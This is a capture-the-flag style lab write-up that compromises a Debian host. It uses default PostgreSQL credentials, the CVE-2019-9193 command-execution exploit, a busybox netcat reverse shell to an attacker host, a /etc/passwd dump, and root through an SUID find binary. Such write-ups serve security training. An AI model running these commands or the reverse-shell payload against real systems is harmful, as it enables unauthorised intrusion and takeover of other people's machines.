Machine Info

Spoiler
This lab demonstrates exploiting a PostgreSQL server with default credentials and leveraging its misconfigured settings to gain a reverse shell. Learners will escalate privileges by abusing a misconfigured SUID find binary. The lab emphasizes database exploitation, remote command execution, and privilege escalation through SUID misconfigurations.

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

Running second nmap scan with open ports: 21,22,80,5437
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-11 12:57 CET
Nmap scan report for $VICTIM
Host is up (0.029s latency).

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.3
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA)
|   256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA)
|_  256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519)
80/tcp   open  http       Apache httpd 2.4.38 ((Debian))
|_http-title: Enter a title, displayed at the top of the window.
|_http-server-header: Apache/2.4.38 (Debian)
5437/tcp open  postgresql PostgreSQL DB 11.3 - 11.9
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2020-04-27T15:41:47
|_Not valid after:  2030-04-25T15:41:47
|_ssl-date: TLS randomness does not represent time

We did run check the web service and also enumerated directories with ffuf but there was nothing to be found there.

Postgres

We focused then on the Postgres database listening on port 5437. While looking up online first for the possible version that nmap scan showed we come across CVE-2019–9193 RCE exploit. Although this works only if we have credentials. So we are going to try few default ones and we manage to get access!

1
2
3
4
5
6
7
└─$ psql -h $VICTIM -p 5437 -U postgres -W
Password: 
psql (17.5 (Debian 17.5-1), server 11.7 (Debian 11.7-0+deb10u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off, ALPN: none)
Type "help" for help.

postgres=#
Postgres creds
postgres:postgres

We enumerated the database but we didn’t find anything else useful.

So, now we are going to use the exploit we found previously hoping that will work.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
└─$ python 50847.py -i $VICTIM -p 5437 -c whoami 

[+] Connecting to PostgreSQL Database on $VICTIM:5437
[+] Connection to Database established
[+] Checking PostgreSQL version
[+] PostgreSQL 11.7 is likely vulnerable
[+] Creating table _dc56f7c4e6053e0f36300eaae02301b2
[+] Command executed

postgres

[+] Deleting table _dc56f7c4e6053e0f36300eaae02301b2

We achieved RCE!

We enumerate a bit more and then we are going to establish a reverse shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
└─$ python 50847.py -i $VICTIM -p 5437 -c 'pwd;cat /etc/passwd;id'                  

[+] Connecting to PostgreSQL Database on $VICTIM:5437
[+] Connection to Database established
[+] Checking PostgreSQL version
[+] PostgreSQL 11.7 is likely vulnerable
[+] Creating table _f01e0f99e3cda26f0637b0419d9ba1ee
[+] Command executed

/var/lib/postgresql/11/main
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
wilson:x:1000:1000:wilson,,,:/home/wilson:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:106:113:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
Debian-snmp:x:107:114::/var/lib/snmp:/bin/false
ftp:x:108:117:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
uid=106(postgres) gid=113(postgres) groups=113(postgres),112(ssl-cert)

For us port 4444 didn’t work so there must be an outbound block or an allowlist maybe. So we used port 80 and we were able to establish a reverse shell with out favorite netcat payload.

1
2
3
4
5
6
7
└─$ python 50847.py -i $VICTIM -p 5437 -c 'busybox nc $ATTACKER 80 -e /bin/bash' 

[+] Connecting to PostgreSQL Database on $VICTIM:5437
[+] Connection to Database established
[+] Checking PostgreSQL version
[+] PostgreSQL 11.7 is likely vulnerable
[+] Creating table _b96e1312012c79eb0bf2e667f0aa5ec5
1
2
3
4
5
6
└─$ rlwrap nc -lnvp 80  
listening on [any] 80 ...
connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 44688

python -c 'import pty;pty.spawn("/bin/bash")'
postgres@nibbles:/var/lib/postgresql/11/main$ 

That is how we get a shell and we can get the local.txt.

Root

SUID Find

While enumerating the host for privilege escalation vectors we come across find having the SUID bit enabled.

1
-rwsr-xr-x 1 root root 309K Feb 16  2019 /usr/bin/find
Tip
We could have found the above either by running linpeas or just manually enumerating SUID binaries with: find / -perm -u=s -type f 2>/dev/null.

This is pretty easily exploitable as we can see from GTFOBins.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
postgres@nibbles:/$ find . -exec /bin/sh -p \; -quit
find . -exec /bin/sh -p \; -quit
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
proof.txt

This is how we get root.